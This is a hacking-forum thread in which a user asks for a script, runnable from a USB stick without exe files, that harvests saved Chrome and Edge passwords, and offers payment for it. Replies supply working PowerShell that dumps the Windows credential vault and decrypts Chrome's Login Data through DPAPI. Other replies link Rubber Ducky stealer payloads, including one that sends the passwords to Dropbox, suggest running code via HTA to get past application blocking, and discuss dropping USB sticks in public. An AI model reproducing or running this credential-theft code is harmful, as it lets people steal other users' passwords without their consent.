[Smurfboi007]

I need something I can run on a USB stick that saves the saved passwords from chrome and Microsoft edge this can't be an exe file. I have been trying different bat files but haven't gotten anything to work. It does not have to be automatic, but just a bat file for example that i run.

OS: Windows 10
Note: Can't run exe files.

If someone knows a way to do this I would be very thankful! If you need compensation let me know.

[Smurfboi007]

Thanks a lot! For the one for edge, is there one for newer versions?

---

In Powershell for educational purposes.

Code

[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | % { $_.RetrievePassword();$_ } | select username,resource,password

Older versions of Edge.

For Chrome

Code

$sqlitedll = ".\System.Data.SQLite.dll"

if (!(Test-Path -Path $sqlitedll))
{
    Write-Host "Grab your copy of System.Data.SQLite.dll. " -ForegroundColor Yellow
    Write-Host "Most likely from https://system.data.sqlite.org/downloads/1.0.113.0/sqlite-netFx40-static-binary-bundle-x64-2010-1.0.113.0.zip" -ForegroundColor Yellow
    Write-Host "Your bitness is:" (8*[IntPtr]::Size) -ForegroundColor Yellow
    Write-Host "Your .Net version is:" $PSVersionTable.CLRVersion -ForegroundColor Yellow
    Write-Host 'No installation needed. Just unzip and update the $sqlitedll variable above.' -ForegroundColor Yellow
    return
}

$dbpath = (Get-ChildItem Env:\LOCALAPPDATA).Value+"\Google\Chrome\User Data\Default\Login Data"
if (!(Test-Path -Path $dbpath))
{
    Write-Host "Cannot find your ""Login Data"" file." -ForegroundColor Yellow
    return
}

Add-Type -AssemblyName System.Security
Add-Type -Path $sqlitedll

$conn = New-Object -TypeName System.Data.SQLite.SQLiteConnection
$conn.ConnectionString = ("Data Source="""+$dbpath+"""")
$conn.Open()

$sql = $conn.CreateCommand()
$sql.CommandText = "SELECT origin_url, username_value, password_value FROM logins"
$adapter = New-Object -TypeName System.Data.SQLite.SQLiteDataAdapter $sql
$data = New-Object System.Data.DataSet
$adapter.Fill($data)

$arrExp=@()
foreach ($datarow in $data.Tables.rows)
{
    $row = New-Object psobject
    $row | Add-Member -Name URL -MemberType NoteProperty -Value ($datarow.origin_url)
    $row | Add-Member -Name UserName -MemberType NoteProperty -Value ($datarow.username_value)
    $row | Add-Member -Name Password -MemberType NoteProperty -Value (([System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($datarow.password_value,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))))
    $arrExp += $row
}

$sql.Dispose()
$conn.Close()

# Let's display the result
if (Test-Path Variable:PSise)
{
    $arrExp | Out-GridView
}
else
{
    $arrExp | Format-Table
}

You need to point it to SQLite.DLL

I don't understand why you wouldn't be able to use an executable binary.

I should mention these methods are intended for enterprise environments.

You also need a system shell.

Encourage you to check out updated forks of Empire for the Chrome dump module.

https://raw.githubusercontent.com/BC-SEC...meDump.ps1

The one for chrome doesn’t work for me. It just runs and then exits, but no file is created in the specified directory with the passwords. I have also tried creating the file and then running the program. But nothing seems to work.

I downloaded the sqllite zip file and extracted it to the local appdata folder that was specified in the powershell program, do I need to run the installer for it to work? Or is it enough to just extract the files and leave them there?

[DramaKing]

There's a Rubber Ducky script that will do exactly this.

[Smurfboi007]

There's a Rubber Ducky script that will do exactly this.

Alright, but won’t that be detected by antiviruses? (I have never used rubber duckies)

[Smurfboi007]

https://github.com/hak5darren/USB-Rubber...rd-Stealer

Can try it

This one might work better: https://github.com/Guereak/USBDuckyScrip...rd-stealer

---

I do not own a rubber ducky so I would have to buy one, so I need to make sure the scripts work with the latest version of chrome and windows 10.

---

Also, the rubber ducky script can not open exe files either, but if it can be solved without using an exe such as WebBrowserPassView.exe then that's perfect for what I need.

---

The reason why it can't open exe files is that I am pen testing in an environment where all exe files except a select few are blocked by the system administrator. The user is an administrator but cannot override that rule.

[Smurfboi007]

You can try MSI instead. The rubber ducky script can open EXE. Just have it call out via hta and execute it without touching disk or at least try that.

Sadly MSI files are also blocked, I found this script that doesnt seem to be using any exe files: https://github.com/hak5/usbrubberducky-p...filtration

Could anyone test if that one works?

[Money-]

Isnt rubyducky shit old school? People still doing these? I mean it can be fun and all etc.

[Blazin]

I’ve heard about rubber ducky or other keyloggers

[Smurfboi007]

Isnt rubyducky shit old school? People still doing these? I mean it can be fun and all etc.

I thought so too, but rubber ducky 3.0 is releasing soon with a more advanced programming language, so we will probably see some cool things with it. For physical hacking, it's very useful. You can also make your own rubber ducky for like 10 bucks, you just have to buy a raspberry pi pico (https://github.com/dbisu/pico-ducky)

[Money-]

why is it old school? it literally just emulates keystrokes in the background

mfw typing is old school

I mean this method is old school dropping these pendrives on the streets and waiting for someone to pick it up. It sure works but its an old practice from the old days but still being carried out in the present don't you think?

[SIM-5262639]

Well use a bad usb they are usefull they can do it

[Money-]

Well use a bad usb they are usefull they can do it

What do you mean bad USB? Malfunction USB?

[colbsgotguap]

I mean this method is old school dropping these pendrives on the streets and waiting for someone to pick it up. It sure works but its an old practice from the old days but still being carried out in the present don't you think?

Maybe dropping it on the street is old school. But there are a lot of different things you can do with a usb and physical access to a computer. Physical access is king above all else.

---

https://shop.hak5.org/blogs/payloads/bro...filtration

Found this earlier if u wanna give it a try. Takes chrome passwords and sends them to a dropbox API

[Smurfboi007]

Maybe dropping it on the street is old school. But there are a lot of different things you can do with a usb and physical access to a computer. Physical access is king above all else.

---

https://shop.hak5.org/blogs/payloads/bro...filtration

Found this earlier if u wanna give it a try. Takes chrome passwords and sends them to a dropbox API

Yes, I have that one setup, but just the powershell file to test it, but it returns all the saved websites and username but only one password. Can figure out what I’ve done wrong since I’ve only changed what I neede to change…